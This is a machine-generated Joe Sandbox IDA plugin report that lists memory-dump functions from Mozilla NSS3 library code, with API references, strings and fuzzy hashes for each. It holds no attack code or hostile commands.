Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Print$DebugOutputStringfflush$fwrite$R_snprintf$CriticalCurrentEnterExplodeFlushR_vsmprintfR_vsnprintfSectionThreadTimefputcfreememcpy
String ID: *pulCount = 0x%x$ pSlotList = 0x%p$ pulCount = 0x%p$ slotID[%d] = %x$ tokenPresent = 0x%x$C_GetSlotList
API String ID: 2625801553-2918917633
Opcode ID: 80d19f6cc3e92faa8820178f02c3c59ce6d7147ce2feb2abb81170b6ac4c14a8
Instruction ID: 25cc5b1b6de24b67e215c3fdca2f0cd5b85b02c4182b0bdfda49d291e15f3737
Opcode Fuzzy Hash: 80d19f6cc3e92faa8820178f02c3c59ce6d7147ce2feb2abb81170b6ac4c14a8
Instruction Fuzzy Hash: 29318D31203184AFDB20CF99DE8CA5577A5AB8631DF048475E91887E23DB34BC56CBA1

Function 6C76AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C76AF47

Part of subcall function 6C839090: TlsGetValue.KERNEL32 ref: 6C8390AB
Part of subcall function 6C839090: TlsGetValue.KERNEL32 ref: 6C8390C9
Part of subcall function 6C839090: EnterCriticalSection.KERNEL32 ref: 6C8390E5
Part of subcall function 6C839090: TlsGetValue.KERNEL32 ref: 6C839116
Part of subcall function 6C839090: LeaveCriticalSection.KERNEL32 ref: 6C83913F

FreeLibrary.KERNEL32(?), ref: 6C76AF6D
free.MOZGLUE(?), ref: 6C76AFA4
free.MOZGLUE(?), ref: 6C76AFAA
PR_ExitMonitor.NSS3 ref: 6C76AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C76AFF5
PR_ExitMonitor.NSS3 ref: 6C76B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C76B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C76B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C76B03C

Strings

Unloaded library %s, xrefs: 6C76B023
%s decr => %d, xrefs: 6C76AFF0

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: ec1d55b486e61a68d2c94b9a238fcfbf982350191a2ce754796746c0bd1187ef
Instruction ID: c1cba8cf3b10c5ecde05c4ae6f1c2633f81e5b0bef7d25c923de4ca9ab5942c3
Opcode Fuzzy Hash: ec1d55b486e61a68d2c94b9a238fcfbf982350191a2ce754796746c0bd1187ef
Instruction Fuzzy Hash: A531F7B5A04121ABE7219F66EE44A96B7B5EF0532CB184535EC0597E01E732FC14CBE2

Function 6C7C8680 Relevance: 21.1, APIs: 14, Instructions: 91stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6C7755D0,00000000,00000000), ref: 6C7C868B
PR_NewLock.NSS3(00000000,00000000), ref: 6C7C86A0

Part of subcall function 6C8398D0: calloc.MOZGLUE(00000001,00000084,6C760936,00000001,?,6C76102C), ref: 6C8398E5

PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6C7C86B2

Part of subcall function 6C75BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C7621BC), ref: 6C75BB8C

PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6C7C86C8

Part of subcall function 6C75BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C75BBEB
Part of subcall function 6C75BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C75BBFB
Part of subcall function 6C75BB80: GetLastError.KERNEL32 ref: 6C75BC03
Part of subcall function 6C75BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C75BC19
Part of subcall function 6C75BB80: free.MOZGLUE(00000000), ref: 6C75BC22

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6C7C86E2
malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6C7C86EC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6C7C8700
DeleteCriticalSection.KERNEL32(-0000000C,?,?,00000000,00000000), ref: 6C7C871F
free.MOZGLUE(00000000,?,?,00000000,00000000), ref: 6C7C8726
DeleteCriticalSection.KERNEL32(?,?,?,?,00000000,00000000), ref: 6C7C8743
free.MOZGLUE(?,?,?,?,00000000,00000000), ref: 6C7C874A
DeleteCriticalSection.KERNEL32(-0000001C,?,00000000,00000000), ref: 6C7C8759
free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C7C8760
free.MOZGLUE(00000000,00000000,00000000), ref: 6C7C876C

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: free$CriticalSection$DeleteErrorcalloc$Cond$CountInitializeLastLockSpinmallocstrcpystrlen
String ID:
API String ID: 1802479574-0
Opcode ID: 7450bb28e0b31d296325e4d18bf6766c6a74bfadbe81041562cf89db161f5e34
Instruction ID: 8f160fb043a175a4257d18fe88e9b2e42b5a6acec444e0df19d88101bf0791ad
Opcode Fuzzy Hash: 7450bb28e0b31d296325e4d18bf6766c6a74bfadbe81041562cf89db161f5e34
Instruction Fuzzy Hash: 8E2194F5B006026BEB10AFB99D0D95B3AA8AF412997140535F82AC7B42FB31D525C7A2

Function 6C7B6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C7B781D,00000000,6C7ABE2C,?,6C7B6B1D,?,?,?,?,00000000,00000000,6C7B781D), ref: 6C7B6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C7B781D,?,6C7ABE2C,?), ref: 6C7B6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C7B781D), ref: 6C7B6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C7B6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C7B6C96

Part of subcall function 6C761240: TlsGetValue.KERNEL32(00000040,?,6C76116C,NSPR_LOG_MODULES), ref: 6C761267
Part of subcall function 6C761240: EnterCriticalSection.KERNEL32(?,?,?,6C76116C,NSPR_LOG_MODULES), ref: 6C76127C
Part of subcall function 6C761240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C76116C,NSPR_LOG_MODULES), ref: 6C761291
Part of subcall function 6C761240: PR_Unlock.NSS3(?,?,?,?,6C76116C,NSPR_LOG_MODULES), ref: 6C7612A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C7B6CAA

Strings

sql:, xrefs: 6C7B6C52
dbm, xrefs: 6C7B6CA4
extern:, xrefs: 6C7B6C7E
NSS_DEFAULT_DB_TYPE, xrefs: 6C7B6C91
rdb:, xrefs: 6C7B6C69
dbm:, xrefs: 6C7B6C3A

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 68a960b113e6145131ee08043887bc0dec23964fba281de8655198ee141e8fb6
Instruction ID: dae374c27dbca464164e0473118edb3b9445e5d0613a7214349113e8840df85c
Opcode Fuzzy Hash: 68a960b113e6145131ee08043887bc0dec23964fba281de8655198ee141e8fb6
Instruction Fuzzy Hash: 8D0144A170331537E9202B699F5AF56255C9B4215DF180831FF04F1B42EAB6F61581BD

Function 6C7EA4E0 Relevance: 19.7, APIs: 13, Instructions: 199COMMON

Download Yara Rule

APIs

PK11_DigestOp.NSS3(?,?,?), ref: 6C7EA56E

Part of subcall function 6C7FF2E0: free.MOZGLUE(-00000694,00000000,?,6C802B36,-00000694), ref: 6C7FF2F4

PK11_CreateDigestContext.NSS3(00000003), ref: 6C7EA5C6
PK11_CreateDigestContext.NSS3(00000004), ref: 6C7EA5DA
PK11_DigestBegin.NSS3(?), ref: 6C7EA5FC
PK11_DestroyContext.NSS3(?,00000001), ref: 6C7EA61E
PL_HashTableLookupConst.NSS3(00000250), ref: 6C7EA648
PK11_CreateDigestContext.NSS3(?), ref: 6C7EA659

Part of subcall function 6C79D0A0: SECOID_FindOIDByTag_Util.NSS3(6C79AE9B,00000000,?,6C79AE9B,00000000,?,?,?,?,?,?,?,?,?,?,6C772D6B), ref: 6C79D0B8

PK11_DigestBegin.NSS3(00000000), ref: 6C7EA67A

Part of subcall function 6C79D800: TlsGetValue.KERNEL32(?,?,-00000001,00000000,00000000,?,6C79DE75,00000000), ref: 6C79D841
Part of subcall function 6C79D800: EnterCriticalSection.KERNEL32(?,?,?,-00000001,00000000,00000000,?,6C79DE75,00000000), ref: 6C79D856
Part of subcall function 6C79D800: PR_Unlock.NSS3(?,?,?,?,-00000001,00000000,00000000,?,6C79DE75,00000000), ref: 6C79D887

PK11_CreateDigestContext.NSS3(?), ref: 6C7EA6A0

Part of subcall function 6C79D0A0: PR_SetError.NSS3(FFFFE040,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6C79AE9B), ref: 6C79D12B

PK11_DigestBegin.NSS3(00000000), ref: 6C7EA6B3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7EA6CB
PK11_DigestBegin.NSS3(?), ref: 6C7EA6E0

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: K11_$Digest$Context$BeginCreate$Error$ConstCriticalDestroyEnterFindHashLookupSectionTableTag_UnlockUtilValuefree
String ID:
API String ID: 1572550097-0
Opcode ID: 736ecf961dd283d5fab53dce0bfaef590400b6eb7ea3e0579801b718d33d6dc7
Instruction ID: 963c0011f4e1d9a8a5680e621ad33e7019218b5c1856a50f1c7b911b3be4c9a6
Opcode Fuzzy Hash: 736ecf961dd283d5fab53dce0bfaef590400b6eb7ea3e0579801b718d33d6dc7
Instruction Fuzzy Hash: 95510CF6A00502ABFB004A36AF887967B79BB4532CF044235D91886B41FB31E829C7A5

Function 6C858780 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 443COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,-00000001,-00000001,00000000,?,?,6C85849F,?,-00000001,-00000001,00000000,?,00000000,?,00000000), ref: 6C85884C
sqlite3_free.NSS3(?,?,?,?,?,?,-00000001,00000000,?,?,6C85849F,?,-00000001,-00000001,00000000,?), ref: 6C8588F1
memset.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,?,?,-00000001,00000000,?,?,6C85849F,?,-00000001), ref: 6C858929
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,-00000001,00000000,?,?,6C85849F,?), ref: 6C858B4C
sqlite3_free.NSS3(?,?,?,?,?,?,?,-00000001,00000000,?,?,6C85849F,?,-00000001,-00000001,00000000), ref: 6C858B7C
sqlite3_free.NSS3(0000000A,?,?,?,?,?,?,?,?,?,-00000001,00000000,?,?,6C85849F,?), ref: 6C858CCF

Strings

unknown error, xrefs: 6C8588DD, 6C858B1B
another row available, xrefs: 6C858AB1
%s.xBestIndex malfunction, xrefs: 6C858AEC
no more rows available, xrefs: 6C858B0E
abort due to ROLLBACK, xrefs: 6C858B04

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: sqlite3_free$memset
String ID: %s.xBestIndex malfunction$abort due to ROLLBACK$another row available$no more rows available$unknown error
API String ID: 2669552516-2256271834
Opcode ID: 8946919291b454df0a622132488f2a90e83ad161c4eb8e5b34c5ead261a50438
Instruction ID: efe489004368183bd1ef461ba7872f5043f03703f3df30545503dd0fb8db690d
Opcode Fuzzy Hash: 8946919291b454df0a622132488f2a90e83ad161c4eb8e5b34c5ead261a50438
Instruction Fuzzy Hash: 100200B5A10219CFDB64CF58C5806AAB7F2FF48314F544A6BD816ABB51D370EC62CB81

Function 6C7C4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C7878F8), ref: 6C7C4E6D

Part of subcall function 6C7609E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C7606A2,00000000,?), ref: 6C7609F8
Part of subcall function 6C7609E0: malloc.MOZGLUE(0000001F), ref: 6C760A18
Part of subcall function 6C7609E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C760A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C7878F8), ref: 6C7C4ED9

Part of subcall function 6C7B5920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C7B7703,?,00000000,00000000), ref: 6C7B5942
Part of subcall function 6C7B5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C7B7703), ref: 6C7B5954
Part of subcall function 6C7B5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C7B596A
Part of subcall function 6C7B5920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C7B5984
Part of subcall function 6C7B5920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C7B5999
Part of subcall function 6C7B5920: free.MOZGLUE(00000000), ref: 6C7B59BA
Part of subcall function 6C7B5920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C7B59D3
Part of subcall function 6C7B5920: free.MOZGLUE(00000000), ref: 6C7B59F5
Part of subcall function 6C7B5920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C7B5A0A
Part of subcall function 6C7B5920: free.MOZGLUE(00000000), ref: 6C7B5A2E
Part of subcall function 6C7B5920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C7B5A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C7878F8), ref: 6C7C4EB3

Part of subcall function 6C7C4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C7C4EB8,?,?,?,?,?,?,?,?,?,?,6C7878F8), ref: 6C7C484C
Part of subcall function 6C7C4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C7C4EB8,?,?,?,?,?,?,?,?,?,?,6C7878F8), ref: 6C7C486D
Part of subcall function 6C7C4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C7C4EB8,?), ref: 6C7C4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C7878F8), ref: 6C7C4EC0

Part of subcall function 6C7C4470: TlsGetValue.KERNEL32(00000000,?,6C787296,00000000), ref: 6C7C4487
Part of subcall function 6C7C4470: EnterCriticalSection.KERNEL32(?,?,?,6C787296,00000000), ref: 6C7C44A0
Part of subcall function 6C7C4470: PR_Unlock.NSS3(?,?,?,?,6C787296,00000000), ref: 6C7C44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C7878F8), ref: 6C7C4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C7878F8), ref: 6C7C4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C7878F8), ref: 6C7C4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C7878F8), ref: 6C7C4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7878F8), ref: 6C7C4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7878F8), ref: 6C7C4F8F
PK11_UpdateSlotAttribute.NSS3(?,6C89DCB0,00000000), ref: 6C7C4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C7C501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C7878F8), ref: 6C7C506B

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: e4d7c0a6e0689da2153b6d0001601b66f639eab7598edc2899ca852f23aa3158
Instruction ID: 96159c11074bc7ac8fd8999a423216c73d5a7569caa75192aa8c0696a727f8dc
Opcode Fuzzy Hash: e4d7c0a6e0689da2153b6d0001601b66f639eab7598edc2899ca852f23aa3158
Instruction Fuzzy Hash: 9351F3B5A002029FDB119F35EE09AAB36B5EF0531DF190635EC0686A02FB32E954D7D3

Function 6C76ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C76ACE2
malloc.MOZGLUE(00000001), ref: 6C76ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C76AD02
TlsGetValue.KERNEL32 ref: 6C76AD3C
calloc.MOZGLUE(00000001,?), ref: 6C76AD8C
PR_Unlock.NSS3 ref: 6C76ADC0
free.MOZGLUE(00000000), ref: 6C76AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C76AE58
free.MOZGLUE(00000000), ref: 6C76AE69
free.MOZGLUE(?), ref: 6C76AE78
PR_Unlock.NSS3 ref: 6C76AE8C
free.MOZGLUE(?), ref: 6C76AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C76AEC7

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 1a4f17c58db49ff0de7e7d8c36520e5a8adbc09c3150ec74db0dcc2d0dd2a843
Instruction ID: 6a76ad7d059a13cf57cb66f06a0dfab4a50b5c2c1803b36397d743e4a1a578ee
Opcode Fuzzy Hash: 1a4f17c58db49ff0de7e7d8c36520e5a8adbc09c3150ec74db0dcc2d0dd2a843
Instruction Fuzzy Hash: A2519FB4E011269BDF20DF9AEA4666E77B8AF0636DF140135EC05A7E01D331AE45CBD2

Function 6C7AADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C7AADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7AAE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7AAE29

Part of subcall function 6C88D930: PL_strncpyz.NSS3(?,?,?), ref: 6C88D963

PR_LogPrint.NSS3(?,00000000), ref: 6C7AAE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C7AAE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7AAE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C7AAEA0

Strings

hKey = 0x%x, xrefs: 6C7AAE62, 6C7AAE72
C_MessageSignInit, xrefs: 6C7AADE1
hSession = 0x%x, xrefs: 6C7AAE01, 6C7AAE11
(CK_INVALID_HANDLE), xrefs: 6C7AAE1F, 6C7AAE80

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: ae2de8c6d417db34a33a1a59835cf7ce257a3228ea5f48cc761528fbbb105820
Instruction ID: 0742d17b1d459d417da00427c82ac6f754808acc1f9b6364fcb9b21b96bbb78b
Opcode Fuzzy Hash: ae2de8c6d417db34a33a1a59835cf7ce257a3228ea5f48cc761528fbbb105820
Instruction Fuzzy Hash: E231F531601154ABCB209F98DE8DFAA7779AB4632DF444935E8099BB02D734BC09CFD2

Function 6C7AA650 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptInit), ref: 6C7AA676
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7AA6A7
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7AA6B9

Part of subcall function 6C88D930: PL_strncpyz.NSS3(?,?,?), ref: 6C88D963

PR_LogPrint.NSS3(?,00000000), ref: 6C7AA6CF
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C7AA708
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7AA71A
PR_LogPrint.NSS3(?,00000000), ref: 6C7AA730

Strings

hKey = 0x%x, xrefs: 6C7AA6F2, 6C7AA702
hSession = 0x%x, xrefs: 6C7AA691, 6C7AA6A1
(CK_INVALID_HANDLE), xrefs: 6C7AA6AF, 6C7AA710
C_MessageDecryptInit, xrefs: 6C7AA671

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptInit
API String ID: 332880674-2055260395
Opcode ID: f48c3a114d70e2145c7be5b482edd84239b16a6be031edefe9e740d061cbe19b
